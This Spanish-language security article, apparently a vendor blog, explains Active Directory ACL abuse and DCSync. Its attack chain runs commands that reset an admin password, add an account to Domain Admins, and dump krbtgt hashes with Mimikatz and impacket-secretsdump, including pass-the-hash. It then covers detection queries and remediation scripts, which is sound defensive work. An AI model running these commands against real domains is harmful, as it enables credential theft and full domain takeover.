Abuso ACL y DCSync: Las Rutas Silenciosas hacia Domain Admin

¿Qué Son el Abuso de ACL y el DCSync en Active Directory?

El abuso de ACL y el DCSync se basan en permisos legítimos de Active Directory que fueron concedidos de forma demasiado amplia. Los objetos de Active Directory —usuarios, grupos, equipos, OUs y GPOs— tienen todos listas de control de acceso (ACL) que definen quién puede leerlos, modificarlos o controlarlos. Cuando estas ACL están mal configuradas, crean rutas silenciosas de escalada de privilegios que eluden los límites de seguridad tradicionales.

Los dos patrones de ACL más críticos son el control total de un objeto, como GenericAll, y los derechos de replicación sobre el contexto de nomenclatura del dominio, que permiten a un atacante hacerse pasar por un cliente de replicación. Ambos pueden estar en manos de cuentas que no tienen ninguna razón legítima para tenerlos, y ambos pueden conducir directamente al compromiso del dominio.

A diferencia de un exploit de software, el abuso de ACL no depende de un CVE ni de un parche faltante: el atacante abusa de un acceso que AD ya le concede. Precisamente por eso estas rutas son peligrosas: son fáciles de pasar por alto en un programa de seguridad centrado en vulnerabilidades y a menudo sobreviven intactas a los ciclos de parcheo.

Cómo Funciona

Cada objeto de AD tiene un Security Descriptor que contiene una Discretionary ACL (DACL). Cada entrada de la DACL es una Access Control Entry (ACE) que concede o deniega derechos específicos a un principal de seguridad.

Tipos de ACE Peligrosas Comunes

El Ataque DCSync

El DCSync abusa del protocolo de replicación legítimo de AD en lugar de la ejecución de código en un controlador de dominio. Los controladores de dominio replican datos a través del servicio de replicación de directorio, y los mismos derechos de control de acceso pueden delegarse a otros principales de seguridad en la raíz del contexto de nomenclatura del dominio.

En la práctica, los derechos más relevantes son:

• DS-Replication-Get-Changes
• DS-Replication-Get-Changes-All
• en algunos entornos, DS-Replication-Get-Changes-In-Filtered-Set

Microsoft documenta DS-Replication-Get-Changes-All como el derecho extendido que permite la replicación de datos secretos del dominio. Microsoft también documenta que las réplicas de dominio con escritura requieren DS-Replication-Get-Changes, DS-Replication-Get-Changes-All y DS-Replication-Get-Changes-In-Filtered-Set en la raíz del NC del dominio. Por eso una revisión seria de la exposición a DCSync debe verificar el conjunto completo de derechos de replicación, no solo un GUID.

El DCSync no requiere inicio de sesión interactivo en un DC ni requiere ejecución de código en el propio DC. Puede parecer tráfico de replicación legítimo si no se auditan cuidadosamente los accesos al directorio. Sin embargo, no carece de rastro por naturaleza: con la política de auditoría adecuada y cobertura de SACL, los controladores de dominio pueden emitir eventos 4662 para ese acceso, y las subcategorías de auditoría relacionadas con la replicación añaden más contexto durante la investigación.

La Cadena de Ataque

Paso 1 - Enumerar ACL Peligrosas

# BloodHound - recopila datos de AD y mapea el grafo completo de ACL
bloodhound-ce-python -u [email protected] -p password \
  -ns 10.10.0.1 -d corp.local -c All --zip

# En BloodHound: ejecutar "Find Principals with DCSync Rights"
# Y: "Shortest Paths to Domain Admins from Owned Principals"

# Manual: encontrar cuentas con derechos de replicación en la raíz del dominio
$dcsyncRights = @(
  "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
  "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes-All
  "89e95b76-444d-4c62-991a-0facbeda640c"   # DS-Replication-Get-Changes-In-Filtered-Set
)

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"
$acl.Access | Where-Object {
  $_.ObjectType -in $dcsyncRights -and
  $_.AccessControlType -eq "Allow" -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE DOMAIN CONTROLLERS|Read-only Domain Controllers"
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType

Paso 2 - Explotar GenericAll sobre un Usuario

# Restablecer la contraseña del admin objetivo usando GenericAll
$secPwd = ConvertTo-SecureString "NuevoP@ss1234!" -AsPlainText -Force
Set-ADAccountPassword -Identity "targetadmin" -Reset -NewPassword $secPwd

# O forzar un SPN Kerberoasteable en el objetivo (GenericWrite)
Set-ADUser -Identity "targetadmin" `
  -ServicePrincipalNames @{Add="http/fakeservice"}
# Ahora Kerberoastear la cuenta y crackear el hash offline

Paso 3 - Explotar GenericAll sobre un Grupo

# Añadirse a sí mismo usando GenericAll sobre el grupo
Add-ADGroupMember -Identity "Domain Admins" -Members "attacker"

Paso 4 - Ejecutar DCSync

# Mimikatz DCSync - volcar todos los hashes
lsadump::dcsync /domain:corp.local /all /csv
lsadump::dcsync /domain:corp.local /user:krbtgt

# Impacket desde Linux - no requiere ejecución de código en el DC
impacket-secretsdump -just-dc corp.local/compromised_user:[email protected]

# Pass-the-hash si se desconoce la contraseña
impacket-secretsdump -hashes "aad3b435b51404ee:NTLM_HASH" \
  corp.local/[email protected] -just-dc-user krbtgt

Paso 5 - Golden Ticket y Persistencia

Con el hash de KRBTGT obtenido mediante DCSync, el atacante forja un Golden Ticket — otorgando acceso Kerberos ilimitado a cualquier recurso del dominio hasta que KRBTGT se rote dos veces.

Detección

Event IDs de Windows

Consultas de Detección SIEM (Elastic KQL)

Detección de DCSync - cuenta ejerciendo derechos de replicación en un DC:

event.code: "4662" AND
winlog.event_data.Properties: ("*1131f6ad*" OR "*1131f6aa*" OR "*89e95b76*") AND
NOT winlog.event_data.SubjectUserName: ("*$" OR "MSOL_*" OR "AAD_*") AND
NOT winlog.event_data.SubjectDomainName: "NT AUTHORITY"

Cambio inesperado de membresía en grupo privilegiado:

event.code: ("4728" OR "4732" OR "4756") AND
winlog.event_data.TargetUserName: (
  "Domain Admins" OR "Enterprise Admins" OR "Schema Admins" OR "Backup Operators"
) AND
NOT winlog.event_data.SubjectUserName: ("*admin*" OR "SYSTEM")

Remediación

1. Eliminar los Derechos DCSync

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

$replicationGuids = @(
  [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"89e95b76-444d-4c62-991a-0facbeda640c"
)

$acesToRemove = $acl.Access | Where-Object {
  $_.ObjectType -in $replicationGuids -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE|Read-only Domain Controllers"
}

foreach ($ace in $acesToRemove) {
  $acl.RemoveAccessRule($ace)
  Write-Host "Derecho de replicación eliminado de: $($ace.IdentityReference)"
}
Set-Acl "AD:\$domainDN" $acl

2. Reforzar AdminSDHolder

El objeto AdminSDHolder proporciona la plantilla de permisos para los grupos y cuentas protegidos, y el proceso SDProp en el PDC Emulator compara y reaplica esos permisos cada 60 minutos por defecto:

$adminSDHolderDN = "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
(Get-Acl "AD:\$adminSDHolderDN").Access |
  Where-Object { $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM" } |
  Format-Table IdentityReference, ActiveDirectoryRights
# Eliminar cualquier entrada inesperada encontrada

3. Auditar las ACL de Objetos Críticos

$criticalObjects = @(
  (Get-ADDomain).DistinguishedName,
  "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)",
  (Get-ADGroup "Domain Admins").DistinguishedName
)

foreach ($obj in $criticalObjects) {
  $acl = Get-Acl "AD:\$obj"
  $dangerous = $acl.Access | Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll|WriteDACL|WriteOwner|GenericWrite" -and
    $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM|NT AUTHORITY"
  }
  if ($dangerous) {
    Write-Warning "ACE PELIGROSA en $obj"
    $dangerous | Format-Table IdentityReference, ActiveDirectoryRights
  }
}

4. Habilitar la Política de Auditoría Requerida

# Requerido para la visibilidad del evento 4662 cuando existen SACL coincidentes
auditpol /set /subcategory:"Directory Service Access" /success:enable

# Útil para rastrear cambios en objetos de directorio como AdminSDHolder
auditpol /set /subcategory:"Directory Service Changes" /success:enable

Cómo Detecta Esto EtcSec

EtcSec mapea el grafo completo de ACL de su entorno de Active Directory e identifica automáticamente las rutas de permisos peligrosas.

DCSYNC_CAPABLE identifica cada cuenta no-DC que posee derechos de replicación en la raíz del dominio, con especial énfasis en los principales que pueden solicitar datos secretos del dominio.

ACL_GENERICALL marca las cuentas con permisos GenericAll sobre objetivos de alto valor: usuarios, grupos, equipos y OUs adyacentes al acceso administrativo Tier 0.

PATH_ACL_TO_DA identifica cadenas de ACL de múltiples saltos donde una cuenta con pocos privilegios puede alcanzar Domain Admin mediante una secuencia de abusos de ACE: rutas invisibles sin análisis de grafos.

Preguntas Frecuentes

¿Cómo descubren los atacantes las malas configuraciones de ACL? BloodHound es la herramienta de análisis de grafos más común para este problema: recopila datos de AD, mapea las relaciones entre objetos y resalta las rutas de escalada de privilegios más cortas. Los defensores deberían usar el mismo enfoque antes que los atacantes.

¿Cuál es la diferencia entre DCSync y comprometer un Controlador de Dominio? El DCSync abusa de las interfaces de replicación legítimas de forma remota. El atacante no necesita ejecución de código interactiva en el DC si la cuenta ya tiene los derechos de control de acceso requeridos sobre el contexto de nomenclatura del dominio.

¿Cómo obtienen las cuentas derechos DCSync accidentalmente? Las fuentes más comunes son las herramientas de sincronización de directorio, las integraciones de identidad heredadas, los proyectos de copia de seguridad o migración, y los cambios de ACL delegados que nunca se revisaron. Algunas de estas cuentas son legítimas; el problema surge cuando el derecho permanece amplio, no documentado o heredado más allá de lo previsto.

Prioridades de Validación

El abuso de ACL debe revisarse en el mismo orden en que lo explotaría un operador: la raíz del dominio, AdminSDHolder, los grupos privilegiados, las cuentas de servicio de alto valor y cualquier OU que influya en sistemas Tier 0. Valide no solo los derechos directos GenericAll y de replicación, sino también WriteDACL, WriteOwner, las ACE heredadas y la membresía de grupos anidados que recrea silenciosamente el mismo privilegio por otra ruta. Una remediación solo está completa cuando el permiso visible, la cadena de herencia y el modelo de delegación que lo reintrodujo se cierran todos juntos.

Rutas Vecinas que Mantienen Vivo el Riesgo

En dominios maduros, las ACL demasiado permisivas rara vez existen solas. Suelen encontrarse junto a las Rutas de Ataque de Active Directory hacia Domain Admin, un diseño de grupos débil, rutas de GPO con permisos de escritura, o configuraciones de delegación que permiten a una identidad con pocos privilegios recuperar acceso administrativo a través de otro objeto. Por eso la limpieza de ACL debería incluir una revisión de grafo, no solo un diff de permisos sobre el primer objeto señalado. Si su equipo elimina una ACE pero deja intacto un grupo anidado, una OU delegada o una ACL padre heredada, la ruta práctica hacia el DCSync a menudo sobrevive. Revise la exposición circundante con Anidamiento Peligroso de Grupos: Rutas Ocultas hacia Domain Admin, Ataques de Confianza de Active Directory: Del Dominio Hijo a la Raíz del Bosque, Ataques de Delegación Kerberos: De No Restringida al Abuso RBCD, y Malas Configuraciones de GPO: Cómo la Directiva de Grupo se Convierte en un Vector de Ataque.

Lecturas Relacionadas

• Rutas de Ataque de Active Directory hacia Domain Admin
• Anidamiento Peligroso de Grupos: Rutas Ocultas hacia Domain Admin
• Ataques de Confianza de Active Directory: Del Dominio Hijo a la Raíz del Bosque
• Ataques de Delegación Kerberos: De No Restringida al Abuso RBCD
• Malas Configuraciones de GPO: Cómo la Directiva de Grupo se Convierte en un Vector de Ataque

Evidencia a Recopilar Antes de la Remediación

Antes de eliminar cualquier permiso, capture toda la cadena de evidencia que demuestre cómo funciona la ruta. Exporte las ACE actuales, documente si los derechos son heredados o directos, identifique el anidamiento de grupos que otorga el privilegio, y mapee qué sistemas o identidades Tier 0 quedan alcanzables una vez explotado el permiso. Para el DCSync en particular, registre si la cuenta posee Replicating Directory Changes, Replicating Directory Changes All o Replicating Directory Changes In Filtered Set, y si esos derechos provienen de un grupo delegado que los administradores podrían olvidar revisar más adelante. Para el abuso de ACL en general, recopile también los permisos de la OU padre y los contenedores, porque muchas ACE peligrosas reaparecen tras la limpieza cuando la herencia sigue concediendo la ruta más arriba en el árbol.

La Secuencia de Remediación que Realmente Cierra la Ruta

La secuencia de remediación más eficaz comienza eliminando el puente de privilegio, no limpiando el síntoma visible de forma aislada. Si un grupo con pocos privilegios alcanza Domain Admin debido a un grupo anidado, una ACL heredada y un control de OU delegado, cierre los tres elementos en la misma ventana de cambio. Vuelva a verificar AdminSDHolder, los grupos protegidos y la delegación de cuentas de servicio para que el mismo operador no pueda recuperar el control pivotando hacia un objeto cercano. Después del cambio de ACL, valide mediante análisis de grafos o enumeración repetida que la ruta desapareció desde la perspectiva del atacante, no solo desde la vista del administrador en un único selector de objetos. Por último, registre el motivo del cambio de delegación y el propietario del nuevo estado, porque las excepciones no documentadas son la forma en que estos derechos regresan silenciosamente tras la próxima migración, adquisición o solicitud de resolución de problemas.

Lista de Verificación Tras la Limpieza de ACL

Una vez desplegado el cambio de permisos, vuelva a ejecutar la misma enumeración o análisis de rutas de BloodHound que demostró el problema originalmente. Verifique que la ACE peligrosa haya desaparecido, que el grupo que otorga el derecho ya no lo confiera mediante anidamiento, y que ningún objeto padre heredado recree el mismo privilegio en la próxima actualización. Para los hallazgos de DCSync, compruebe que la identidad realmente perdió los derechos de replicación relevantes en todo el conjunto que le importa, no solo en un GUID. Una breve validación posterior al cambio evita el clásico modo de fallo en el que los administradores eliminan la ACE visible, declaran el éxito y luego descubren que una ruta de delegación adyacente mantuvo viva la cadena de abuso.